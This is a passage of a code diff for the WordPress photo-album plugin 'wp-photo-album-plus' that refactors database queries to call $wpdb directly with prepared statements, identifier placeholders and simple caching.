 			// Compute dsilike count
-			$query = $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->wppa_rating
-									  WHERE photo = %d
-									  AND value = -1
-									  AND status = 'publish'", $photo );
-			$discount = wppa_get_var( $query );
+			$discount = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->wppa_rating WHERE photo = %d AND value = -1 AND status = 'publish'", $photo ) );
 			if ( $discount === false ) {
 				wppa_echo( wp_json_encode( ['txt' => '0||108||'.$wartxt] ) );
 				wppa_exit();																// Fail on save
@@ -1881,8 +1799,7 @@

 			if ( ! $done ) switch ( $item ) {
 				case 'clear_ratings':
-					$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d", $album );
-					$photos = wppa_get_results( $query );
+					$photos = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d", $album ), ARRAY_A );
 					if ( $photos ) foreach ( $photos as $photo ) {
 						$iret1 = wppa_del_row( WPPA_RATING, 'photo', $photo['id'] );
 						$iret2 = wppa_update_photo( $photo['id'], ['mean_rating' => ''] );
@@ -1902,11 +1819,8 @@
 					}
 					break;
 				case 'set_deftags':	// to be changed for large albums
-					$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d", $album );
-					$photos = wppa_get_results( $query );
-
-					$query = $wpdb->prepare( "SELECT default_tags FROM $wpdb->wppa_albums WHERE id = %d", $album );
-					$deftag = wppa_get_var( $query );
+					$photos = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d", $album ), ARRAY_A );
+					$deftag = $wpdb->get_var( $wpdb->prepare( "SELECT default_tags FROM $wpdb->wppa_albums WHERE id = %d", $album ) );

 					if ( is_array( $photos ) ) foreach ( $photos as $photo ) {

@@ -1927,11 +1841,8 @@
 					$done = true;
 					break;
 				case 'add_deftags':
-					$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d", $album );
-					$photos = wppa_get_results( $query );
-
-					$query = $wpdb->prepare( "SELECT default_tags FROM $wpdb->wppa_albums WHERE id = %d", $album );
-					$deftag = wppa_get_var( $query );
+					$photos = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d", $album ), ARRAY_A );
+					$deftag = $wpdb->get_var( $wpdb->prepare( "SELECT default_tags FROM $wpdb->wppa_albums WHERE id = %d", $album ) );

 					if ( is_array( $photos ) ) foreach ( $photos as $photo ) {

@@ -2099,10 +2010,7 @@
 				case 'setallscheduled':
 					$scheduledtm = wppa_get_album_item( $album, 'scheduledtm' );
 					if ( $scheduledtm ) {
-						$query = $wpdb->prepare( "UPDATE $wpdb->wppa_photos
-												  SET status = 'scheduled', scheduledtm = %s
-												  WHERE album = %d", $scheduledtm, $album );
-						$iret = wppa_query( $query );
+						$iret = $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->wppa_photos SET status = 'scheduled', scheduledtm = %s WHERE album = %d", $scheduledtm, $album ) );
 						$value = $scheduledtm;
 						$itemname = __( 'All photos set to scheduled per date', 'wp-photo-album-plus' );
 						$item = 'scheduledtm';
@@ -2187,7 +2095,7 @@

 			// Get the new data
 			wppa_cache_album( 'invalidate', $album );
-			$newalb = wppa_cache_album( $album ); // wppa_get_row( "SELECT * FROM $wpdb->wppa_albums WHERE id = $album" );
+			$newalb = wppa_cache_album( $album ); // $wpdb->get_row( "SELECT * FROM $wpdb->wppa_albums WHERE id = $album", ARRAY_A );
 			if ( $item == 'name' ) {
 				$fields['name'] = $newalb['name'];
 				$fields['sname'] = $newalb['sname'];
@@ -3446,8 +3354,7 @@

 			// Valid update request
 			else {
-				$query = $wpdb->prepare( "UPDATE $wpdb->wppa_iptc SET description = %s WHERE id = %d", $value, $item );
-				$iret = wppa_query( $query );
+				$iret = $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->wppa_iptc SET description = %s WHERE id = %d", $value, $item ) );

 				/* translators: tagname */
 				$txt = sprintf( __( 'IPTC Tag %s updated', 'wp-photo-album-plus' ), $tag );
@@ -3590,8 +3497,7 @@

 			if ( substr( $option, 0, 16 ) == 'wppa_iptc_label_' ) {
 				$tag   = substr( $option, 16 );
-				$query = $wpdb->prepare( "UPDATE $wpdb->wppa_iptc SET description = %s WHERE tag = %s AND photo = 0", $value, $tag );
-				$bret  = wppa_query( $query );
+				$bret  = $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->wppa_iptc SET description = %s WHERE tag = %s AND photo = 0", $value, $tag ) );
 				// Produce the response text
 				if ( $bret ) {
 					$output = '||0||'.$tag.' updated to '.$value.'||';
@@ -3604,8 +3510,7 @@
 			}
 			elseif ( substr( $option, 0, 17 ) == 'wppa_iptc_status_' ) {
 				$tag   = substr( $option, 17 );
-				$query = $wpdb->prepare( "UPDATE $wpdb->wppa_iptc SET status = %s WHERE tag = %s AND photo = 0", $value, $tag );
-				$bret  = wppa_query( $query );
+				$bret  = $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->wppa_iptc SET status = %s WHERE tag = %s AND photo = 0", $value, $tag ) );
 				// Produce the response text
 				if ( $bret ) {
 					$output = '||0||'.$tag.' updated to '.$value.'||';
@@ -3618,8 +3523,7 @@
 			}
 			elseif ( substr( $option, 0, 16 ) == 'wppa_exif_label_' ) {
 				$tag   = substr( $option, 16 );
-				$query = $wpdb->prepare( "UPDATE $wpdb->wppa_exif SET description = %s WHERE tag = %s AND photo = 0", $value, $tag );
-				$bret  = wppa_query( $query );
+				$bret  = $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->wppa_exif SET description = %s WHERE tag = %s AND photo = 0", $value, $tag ) );
 				// Produce the response text
 				if ( $bret ) {
 					$output = '||0||'.$tag.' updated to '.$value.'||';
@@ -3632,8 +3536,7 @@
 			}
 			elseif ( substr( $option, 0, 17 ) == 'wppa_exif_status_' ) {
 				$tag   = substr( $option, 17 );
-				$query = $wpdb->prepare( "UPDATE $wpdb->wppa_exif SET status = %s WHERE tag = %s AND photo = 0", $value, $tag );
-				$bret  = wppa_query( $query );
+				$bret  = $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->wppa_exif SET status = %s WHERE tag = %s AND photo = 0", $value, $tag ) );
 				// Produce the response text
 				if ( $bret ) {
 					$output = '||0||'.$tag.' updated to '.$value.'||';
@@ -3980,8 +3883,7 @@

 				case 'wppa_rating_max':
 					if ( $value == 5 && wppa_opt( 'rating_max' ) == 10 ) {
-						$query = "SELECT id, value FROM $wpdb->wppa_rating";
-						$rats  = wppa_get_results( $query );
+						$rats = $wpdb->get_results( "SELECT id, value FROM $wpdb->wppa_rating", ARRAY_A );
 						if ( $rats ) {
 							foreach ( $rats as $rat ) {
 								wppa_update_rating( $rat['id'], ['value' => $rat['value'] / 2] );
@@ -3989,8 +3891,7 @@
 						}
 					}
 					if ( $value == 10 && wppa_opt( 'rating_max' ) == 5 ) {
-						$query = "SELECT id, value FROM $wpdb->wppa_rating";
-						$rats  = wppa_get_results( $query );
+						$rats  = $wpdb->get_results( "SELECT id, value FROM $wpdb->wppa_rating", ARRAY_A );
 						if ( $rats ) {
 							foreach ( $rats as $rat ) {
 								wppa_update_rating( $rat['id'], ['value' => $rat['value'] * 2] );
@@ -4078,8 +3979,7 @@
 							$alert = esc_js( __( 'An administrator can not be blacklisted', 'wp-photo-album-plus' ) );
 						}
 						else {
-							$query = $wpdb->prepare( "UPDATE $wpdb->wppa_photos SET status = 'pending' WHERE owner = %s", $value );
-							wppa_query( $query );
+							$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->wppa_photos SET status = 'pending' WHERE owner = %s", $value ) );
 							$black_listed_users = wppa_get_option( 'wppa_black_listed_users', array() );
 							if ( ! in_array( $value, $black_listed_users ) ) {
 								$black_listed_users[] = $value;
@@ -4097,8 +3997,7 @@
 					break;

 				case 'wppa_un_blacklist_user':
-					$query = $wpdb->prepare( "UPDATE $wpdb->wppa_photos SET status = 'publish' WHERE owner = %s", $value );
-					wppa_query( $query );
+					$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->wppa_photos SET status = 'publish' WHERE owner = %s", $value ) );
 					$black_listed_users = wppa_get_option( 'wppa_black_listed_users', array() );
 					if ( in_array( $value, $black_listed_users ) ) {
 						foreach ( array_keys( $black_listed_users ) as $usr ) {
@@ -4568,7 +4467,6 @@
 			$photo 		= $potd_a['potddata'];
 			$preview 	= wppa_get_potd_preview_html( $photo );
 			$pool 		= wppa_get_potd_pool_html();
-
 			echo wp_json_encode( ['offset' => $offset, 'seqno' => $seqno, 'preview' => $preview, 'pool' => $pool] );
 			break;

--- a/wp-photo-album-plus/wppa-album-admin-autosave.php
+++ b/wp-photo-album-plus/wppa-album-admin-autosave.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * create, edit and delete albums
-* Version 9.1.13.001
+* Version 9.2.01.001
 *
 */

@@ -14,7 +14,11 @@
 global $q_config;
 global $wppa_revno;
 global $wp_roles;
+static $cache;

+	// Init query cache
+	if ( ! $cache ) $cache = [];
+
 	// Are we legally here?
 	if ( ! current_user_can( 'wppa_admin' ) ) {
 		wp_die( esc_html__( 'Isufficient access rights', 'wp-photo-album-plus' ) );
@@ -94,9 +98,14 @@
 	}

 	// Get all albums and cache them
-	$query = "SELECT * FROM $wpdb->wppa_albums";
-	$albs  = wppa_get_results( $query );
-	wppa_cache_album( 'add', $albs );
+	if ( isset( $cache['all'] ) ) {
+		$albs = $cache['all'];
+	}
+	else {
+		$albs = $wpdb->get_results( "SELECT * FROM $wpdb->wppa_albums", ARRAY_A );
+		$cache['all'] = $albs;
+		wppa_cache_album( 'add', $albs );
+	}

 	// Fix orphan albums and deleted target pages
 	if ( $albs ) {
@@ -105,12 +114,7 @@
 				wppa_update_album( $alb['id'], ['a_parent' => -1] );
 			}
 			if ( $alb['cover_linkpage'] > 0 ) {
-				$query = $wpdb->prepare( "SELECT COUNT(*)
-										  FROM $wpdb->posts
-										  WHERE ID = %d
-										  AND ( post_type = 'page' OR post_type = 'post' )
-										  AND post_status = 'publish'", $alb['cover_linkpage'] );
-				$iret = wppa_get_var( $query );
+				$iret = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE ID = %d AND post_type IN ('page', 'post') AND post_status = 'publish'", $alb['cover_linkpage'] ) );

 				if ( ! $iret ) {	// Page gone?
 					wppa_update_album( $alb['id'], ['cover_linkpage' => 0] );
@@ -315,10 +319,8 @@
 				if ( ! wp_verify_nonce( wppa_get( 'nonce' ), 'wppa-nonce' ) ) {
 					wp_die( esc_html__( 'You do not have the rights to do this', 'wp-photo-album-plus' ) );
 				}
-				$query = $wpdb->prepare( "UPDATE $wpdb->wppa_photos
-										  SET description = %s
-										  WHERE album = %d", wppa_opt( 'newphoto_description' ), $edit_id );
-				$iret = wppa_query( $query );
+				$iret = $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->wppa_photos SET description = %s WHERE album = %d", wppa_opt( 'newphoto_description' ), $edit_id ) );
+
 				/* translators: integer number */
 				wppa_ok_message( sprintf( __( '%d photo descriptions updated', 'wp-photo-album-plus' ), $iret ) );
 			}
@@ -328,10 +330,8 @@
 				if ( ! wp_verify_nonce( wppa_get( 'nonce' ), 'wppa-nonce' ) ) {
 					wp_die( esc_html__( 'You do not have the rights to do this', 'wp-photo-album-plus' ) );
 				}
-				$query = $wpdb->prepare( "UPDATE $wpdb->wppa_photos
-										  SET description = ''
-										  WHERE album = %d", $edit_id );
-				$iret = wppa_query( $query );
+				$iret = $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->wppa_photos SET description = '' WHERE album = %d", $edit_id ) );
+
 				/* translators: integer number */
 				wppa_ok_message( sprintf( __( '%d item descriptions cleared', 'wp-photo-album-plus' ), $iret ) );
 			}
@@ -372,13 +372,12 @@
 			if ( in_array( $pano, array( '0', '1', '2' ) ) ) {

 				$done = 0;
-				$query = $wpdb->prepare( "SELECT id, photox, photoy, panorama, angle FROM $wpdb->wppa_photos
+
+				$todo = $wpdb->get_results( $wpdb->prepare( "SELECT id, photox, photoy, panorama, angle FROM $wpdb->wppa_photos
 										  WHERE album = %d
 										  AND ext IN ('jpg', 'png')
 										  AND panorama <> %d
-										  ORDER BY id", $edit_id, $pano );
-
-				$todo = wppa_get_results( $query );
+										  ORDER BY id", $edit_id, $pano ), ARRAY_A );
 				$tot = count( $todo );

 				if ( $tot ) {
@@ -511,8 +510,7 @@
 			$pviews 		= $treecounts['selfphotoviews'];
 			$tpviews 		= $treecounts['treephotoviews'];
 			$nsub 			= $treecounts['selfalbums'];
-			$query 			= $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->wppa_albums WHERE a_parent = %d", $id );
-			$has_children  	= wppa_get_var( $query );
+			$has_children  	= $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->wppa_albums WHERE a_parent = %d", $id ) );
 			$indexdtm 		= $albuminfo['indexdtm'];
 			$usedby 		= ( $albuminfo['usedby'] && $albuminfo['usedby'] != '..' ) ? explode( ".", trim( $albuminfo['usedby'], '. ' ) ) : array();
 			$capability 	= $albuminfo['capability'];
@@ -805,8 +803,7 @@

 								// Clicks
 								if ( wppa_switch( 'track_clickcounts' ) ) {
-									$query = $wpdb->prepare( "SELECT clicks FROM $wpdb->wppa_photos WHERE album = %d", $id );
-									$click_arr = wppa_get_col( $query );
+									$click_arr = $wpdb->get_col( $wpdb->prepare( "SELECT clicks FROM $wpdb->wppa_photos WHERE album = %d", $id ) );
 									wppa_echo( '
 									<div class="left">
 										<label>' .
@@ -1847,11 +1844,10 @@
 								<label>' .
 									__( 'Link to', 'wp-photo-album-plus' ) . '
 								</label><br>';
-									$query = "SELECT ID, post_type, post_title, post_date FROM $wpdb->posts
+									$pages = $wpdb->get_results( "SELECT ID, post_type, post_title, post_date FROM $wpdb->posts
 											  WHERE ( post_type = 'page' OR post_type = 'post' )
 											  AND post_status = 'publish'
-											  ORDER BY post_title ASC";
-									$pages = wppa_get_results( $query );
+											  ORDER BY post_title ASC", ARRAY_A );
 									if ( empty( $pages ) ) {
 										$result .= __( 'There are no posts/pages (yet) to link to.', 'wp-photo-album-plus' );
 									}
@@ -2342,9 +2338,8 @@
 			}
 		}

-		// Renew what we have
-		$query = "SELECT * FROM $wpdb->wppa_albums";
-		$albs = wppa_get_results( $query );
+		// Renew what we have, it may be changed
+		$albs = $wpdb->get_results( "SELECT * FROM $wpdb->wppa_albums", ARRAY_A );

 		// Switch to flat / collapsable table
 		if ( wppa_get( 'switchto' ) ) {
@@ -2431,8 +2426,7 @@

 					// Edit by id
 					if ( ! wppa_has_many_albums() && ! $no_albs ) {
-						$query = "SELECT id, crypt FROM $wpdb->wppa_albums ORDER BY id";
-						$albids = wppa_get_results( $query );
+						$albids = $wpdb->get_results( "SELECT id, crypt FROM $wpdb->wppa_albums ORDER BY id", ARRAY_A );
 						if ( ! wppa_user_is_admin() ) foreach( array_keys( $albids ) as $key ) {
 							if ( ! wppa_have_access( $albids[$key]['id'] ) ) {
 								unset( $albids[$key] );
@@ -2458,9 +2452,8 @@
 						/>';
 					}

-					// Filter by searchword
-					$query = "SELECT slug FROM $wpdb->wppa_index WHERE albums <> '' ORDER BY slug";
-					$opts = wppa_get_col( $query );
+					// Filter by searchwords
+					$opts = $wpdb->get_col( "SELECT slug FROM $wpdb->wppa_index WHERE albums <> '' ORDER BY slug" );
 					$f = wppa_get( 'filter' );
 					$header .= '
 					<select
@@ -2527,11 +2520,15 @@
 	$order_by 	= $parms['order'];
 	if ( ! in_array( $order_by, ['id', 'name', 'description', 'owner', 'a_order', 'a_parent'] ) ) $order_by = 'id';
 	$dir 		= $parms['dir'];
-	if ( strtoupper( $dir ) !== 'DESC' ) $dir = 'asc';
+	if ( strtoupper( $dir ) !== 'DESC' ) $dir = 'ASC';

 	// Read all albums, pre-ordered
-	$query = "SELECT * FROM $wpdb->wppa_albums ORDER BY $order_by $dir";
-	$albums = wppa_get_results( $query );
+	if ( $dir == 'ASC' ) {
+		$albums = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums ORDER BY %i", $order_by ), ARRAY_A );
+	}
+	else {
+		$albums = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums ORDER BY %i DESC", $order_by ), ARRAY_A );
+	}

 	// Remove non accessible albums
 	$temp = $albums;
@@ -2546,8 +2543,7 @@
 	$filter = wppa_get( 'filter' );

 	if ( $filter ) {
-		$query = $wpdb->prepare( "SELECT albums FROM $wpdb->wppa_index WHERE slug = %s LIMIT 1", $filter );
-		$filter_albs = wppa_get_var( $query );
+		$filter_albs = $wpdb->get_var( $wpdb->prepare( "SELECT albums FROM $wpdb->wppa_index WHERE slug = %s LIMIT 1", $filter ) );
 		$filter_albs = wppa_index_string_to_array( $filter_albs );

 		foreach( array_keys( $albums ) as $key ) {
@@ -2765,11 +2761,15 @@
 	$order_by 	= $parms['order'];
 	if ( ! in_array( $order_by, ['id', 'name', 'description', 'owner', 'a_order', 'a_parent'] ) ) $order_by = 'id';
 	$dir 		= $parms['dir'];
-	if ( strtoupper( $dir ) !== 'DESC' ) $dir = 'asc';
+	if ( strtoupper( $dir ) !== 'DESC' ) $dir = 'ASC';

 	// Read all albums, pre-ordered
-	$query = "SELECT * FROM $wpdb->wppa_albums ORDER BY $order_by $dir";
-	$albums = wppa_get_results( $query );
+	if ( $dir == 'ASC' ) {
+		$albums = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums ORDER BY %i", $order_by ), ARRAY_A );
+	}
+	else {
+		$albums = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums ORDER BY %i DESC", $order_by ), ARRAY_A );
+	}

 	// Remove non accessible albums
 	$temp = $albums;
@@ -2784,8 +2784,7 @@
 	$filter = wppa_get( 'filter' );

 	if ( $filter ) {
-		$query = $wpdb->prepare( "SELECT albums FROM $wpdb->wppa_index WHERE slug = %s LIMIT 1", $filter );
-		$filter_albs = wppa_get_var( $query );
+		$filter_albs = $wpdb->get_var( $wpdb->prepare( "SELECT albums FROM $wpdb->wppa_index WHERE slug = %s LIMIT 1", $filter ) );
 		$filter_albs = wppa_index_string_to_array( $filter_albs );

 		foreach( array_keys( $albums ) as $key ) {
@@ -2831,8 +2830,7 @@
 					$done = false;

 					// Add missing parent
-					$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE id = %d", $parent );
-					$albums[] = wppa_get_row( $query );
+					$albums[] = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE id = %d", $parent ), ARRAY_A );
 				}
 			}
 		}
@@ -2842,8 +2840,8 @@
 	if ( $pagesize ) {
 		$current_ids = implode( '.', array_column( $albums, 'id' ) );
 		$all_ids = array_unique( explode( '.', wppa_alb_to_enum_children( $current_ids ) ) );
-		$query = "SELECT * FROM $wpdb->wppa_albums WHERE id in (" . implode( ',', $all_ids ) . ")";
-		$albums = wppa_get_results( $query );
+		$placeholders = implode( ',', array_fill( 0, count( $all_ids ), '%d' ) );
+		$albums = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE id IN ($placeholders)", $all_ids ), ARRAY_A );
 	}

 	// If any albums left, do the dirty work
@@ -3135,8 +3133,7 @@
 	$doit = false;
 	if ( wppa_user_is_admin() ) $doit = true;

-	$query = "SELECT COUNT(*) FROM $wpdb->wppa_photos WHERE album < 0";
-	$trashed = wppa_get_var( $query );
+	$trashed = $wpdb->get_var( "SELECT COUNT(*) FROM $wpdb->wppa_photos WHERE album < 0" );

 	if ( ! $trashed ) $doit = false;

@@ -3197,8 +3194,7 @@
 			$pendcount 		= $counts['pendselfphotos'];
 			$schedulecount 	= $counts['scheduledselfphotos'];
 			$haschildren 	= wppa_have_accessible_children( $album );
-			$query 			= $wpdb->prepare( "SELECT id FROM $wpdb->wppa_albums WHERE a_parent = %d", $id );
-			$pchildren 		= wppa_get_col( $query );
+			$pchildren 		= $wpdb->get_col( $wpdb->prepare( "SELECT id FROM $wpdb->wppa_albums WHERE a_parent = %d", $id ) );
 			if ( is_array( $pchildren ) ) foreach( array_keys( $pchildren ) as $key ) {
 				if ( ! wppa_have_accessible_children( $pchildren[$key] ) ) {
 					unset( $pchildren[$key] );
@@ -3390,21 +3386,27 @@
 // Find accessable sub albums
 function wppa_have_accessible_children( $alb ) {
 global $wpdb;
+static $cache;

+	if ( ! $cache ) $cache = [];
+
 	if ( is_array( $alb ) ) {
 		$id = $alb['id'];
 	}
 	else {
 		$id = $alb;
 	}
-	$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE a_parent = %d", $id );
-	$albums = wppa_get_results( $query );
+	if ( isset( $cache[$id] ) ) {
+		return $cache[$id];
+	}
+	$result = false;
+	$albums = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE a_parent = %d", $id ), ARRAY_A );

-	if ( ! $albums || ! count( $albums ) ) return false;
-	foreach ( $albums as $album ) {
-		if ( wppa_have_access( $album ) ) return true;
+	if ( $albums && count( $albums ) ) foreach ( $albums as $album ) {
+		if ( wppa_have_access( $album ) ) $result = true;
 	}
-	return false;
+	$cache[$id] = $result;
+	return $result;
 }

 // delete an album
@@ -3440,8 +3442,7 @@
 	}

 	// Photos in the album
-	$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %s", $id );
-	$photos = wppa_get_results( $query );
+	$photos = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %s", $id ), ARRAY_A );

 	if ( is_array( $photos ) ) {
 		foreach ( $photos as $photo ) {
@@ -3496,8 +3497,7 @@
 	$output = '';
     $crid = wppa_get( 'edit-id' );
 	$a_id = wppa_decrypt_album( $crid );
-	$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %s ORDER BY id LIMIT 1000", $a_id );
-	$photos = wppa_get_results( $query );
+	$photos = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %s ORDER BY id LIMIT 1000", $a_id ), ARRAY_A );

 	$cur_in_album = ( $cur < 1 ) || ( wppa_get_photo_item( $cur, 'album' ) == $a_id );

@@ -3575,52 +3575,19 @@

 	// If random...
 	if ( $albumorder_col == 'random' ) {
-
-		$query  = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE a_parent = %s ORDER BY RAND(%d)", $parent, wppa_get_randseed() );
-
-		$albums = wppa_get_results( $query );
+		$albums = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE a_parent = %s ORDER BY RAND(%d)", $parent, wppa_get_randseed() ), ARRAY_A );
 	}

 	// Not random
 	else {
-
+
 		// Ascending or descending
 		if ( $is_descending ) {
-			switch ( $albumorder_col ) {
-
-				case 'a_order':
-					$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE a_parent = %d ORDER BY a_order DESC", $parent );
-					break;
-				case 'name':
-					$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE a_parent = %d ORDER BY name DESC", $parent );
-					break;
-				case 'timestamp':
-					$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE a_parent = %d ORDER BY timestamp DESC", $parent );
-					break;
-				default:
-					$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE a_parent = %d ORDER BY id DESC", $parent );
-
-			}
+			$albums = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE a_parent = %d ORDER BY %i DESC", $parent, $albumorder_col ), ARRAY_A );
 		}
 		else {
-			switch ( $albumorder_col ) {
-
-				case 'a_order':
-					$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE a_parent = %d ORDER BY a_order", $parent );
-					break;
-				case 'name':
-					$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE a_parent = %d ORDER BY name", $parent );
-					break;
-				case 'timestamp':
-					$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE a_parent = %d ORDER BY timestamp", $parent );
-					break;
-				default:
-					$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE a_parent = %d ORDER BY id", $parent );
-
-			}
+			$albums = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE a_parent = %d ORDER BY %i", $parent, $albumorder_col ), ARRAY_A );
 		}
-
-		$albums = wppa_get_results( $query );
 	}

 	// Anything to do here ?
--- a/wp-photo-album-plus/wppa-album-covers.php
+++ b/wp-photo-album-plus/wppa-album-covers.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * Functions for album covers
-* Version: 9.1.13.001
+* Version: 9.2.01.001
 *
 */

@@ -1204,6 +1204,7 @@
 	$user   = wppa_get_user();
 	$rand   = wppa_get_randseed( 'page' );
 	$allalb = str_replace( '.', ',', wppa_expand_enum( wppa_alb_to_enum_children( $alb ) ) );
+	$albarr = explode( ',', $allalb );
 	$temp 	= null;

 	// main_photo is 0? Default
@@ -1220,98 +1221,99 @@
 	if ( '-9' == $id ) {
 		$rs = wppa_get_randseed( 'page' );
 		if ( current_user_can( 'wppa_moderate' ) ) {
-			$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %s ORDER BY RAND(%d) LIMIT %d", $alb, $rs, $count );
+			$temp = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %s ORDER BY RAND(%d) LIMIT %d", $alb, $rs, $count ), ARRAY_A );
 		}
 		else {
 			if ( is_user_logged_in() ) {
-				$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d AND ( status NOT IN ('pending','scheduled') OR owner = %s ) ORDER BY RAND(%d) LIMIT %d", $alb, $user, $rs, $count );
+				$temp = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d AND ( status NOT IN ('pending','scheduled') OR owner = %s ) ORDER BY RAND(%d) LIMIT %d", $alb, $user, $rs, $count ), ARRAY_A );
 			}
 			else {
-				$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d AND status NOT IN ('pending','scheduled','private') ORDER BY RAND(%d) LIMIT %d", $alb, $rs, $count );
+				$temp = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d AND status NOT IN ('pending','scheduled','private') ORDER BY RAND(%d) LIMIT %d", $alb, $rs, $count ), ARRAY_A );
 			}
 		}
-		$temp = wppa_get_results( $query );
 	}

 	// main_photo is -2? Last upload
 	if ( '-2' == $id ) {
 		if ( current_user_can( 'wppa_moderate' ) ) {
-			$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d ORDER BY timestamp DESC LIMIT %d", $alb, $count );
-			$temp = wppa_get_results( $query );
+			$temp = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d ORDER BY timestamp DESC LIMIT %d", $alb, $count ), ARRAY_A );
 		}
 		else {
 			if ( is_user_logged_in() ) {
-				$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d AND ( status NOT IN ('pending','scheduled') OR owner = %s ) ORDER BY timestamp DESC LIMIT %d", $alb, $user, $count );
+				$temp = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d AND ( status NOT IN ('pending','scheduled') OR owner = %s ) ORDER BY timestamp DESC LIMIT %d", $alb, $user, $count ), ARRAY_A );
 			}
 			else {
-				$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d AND status NOT IN ('pending','scheduled','private') ORDER BY timestamp DESC LIMIT %d", $alb, $count );
+				$temp = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d AND status NOT IN ('pending','scheduled','private') ORDER BY timestamp DESC LIMIT %d", $alb, $count ), ARRAY_A );
 			}
-			$temp = wppa_get_results( $query );
 		}
 	}

 	// main_phtot is -1? Random featured
 	if ( '-1' == $id ) {
-		$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d AND status = 'featured' ORDER BY RAND(%d) LIMIT %d",$alb, $rand, $count );
-		$temp = wppa_get_results( $query );
+		$temp = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d AND status = 'featured' ORDER BY RAND(%d) LIMIT %d",$alb, $rand, $count ), ARRAY_A );
 	}

+	$placeholders = implode( ',', array_fill( 0, count( $albarr ), '%d' ) );
+
 	// Random from children
 	if ( '-3' == $id ) {
 		if ( current_user_can( 'wppa_moderate' ) ) {
-			$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album IN (%s) ORDER BY RAND(%d) LIMIT %d", $allalb, $rand, $count );
-			$query = wppa_fix_query( $query );
+			$temp = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album IN ($placeholders) ORDER BY RAND(%d) LIMIT %d", array_merge( $albarr, [$rand], [$count] ) ), ARRAY_A );
 		}
 		else {
 			if ( is_user_logged_in() ) {
-				$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album IN (%s) AND ( ( status <> `pending` AND status <> `scheduled` ) OR owner = `%s` ) ORDER BY RAND(%d) LIMIT %d", $allalb, $user, $rand, $count );
-				$query = wppa_fix_query( $query );
